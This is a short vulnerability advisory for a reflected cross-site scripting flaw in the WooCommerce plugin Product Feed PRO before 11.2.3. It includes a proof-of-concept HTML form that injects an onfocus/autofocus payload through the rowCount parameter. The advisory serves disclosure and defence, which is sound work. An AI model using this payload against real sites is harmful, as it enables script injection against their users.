Product Feed PRO for WooCommerce < 11.2.3 - Reflected Cross-Site Scripting

2022-02-0100:00:00

Krzysztof Zając

0.001 Low

EPSS

Percentile

21.6%

JSON

The plugin does not escape the rowCount parameter before outputting it back in an attribute via the woosea_categories_dropdown AJAX action (available to any authenticated user), leading to a Reflected Cross-Site Scripting

<html>
    <form action="https://example.com/wp-admin/admin-ajax.php?action=woosea_categories_dropdown" method="POST">
        <input type="text" name="rowCount" value='" onfocus=alert(`XSS`) autofocus x'>
        <input type="submit" value="Send">
    </form>
</html>

References

plugins.trac.wordpress.org/changeset/2670405

0.001 Low

EPSS

Percentile

21.6%

JSON

Related for WPEX-ID:DE69BCD1-B0B1-4B16-9655-776EE57AD90A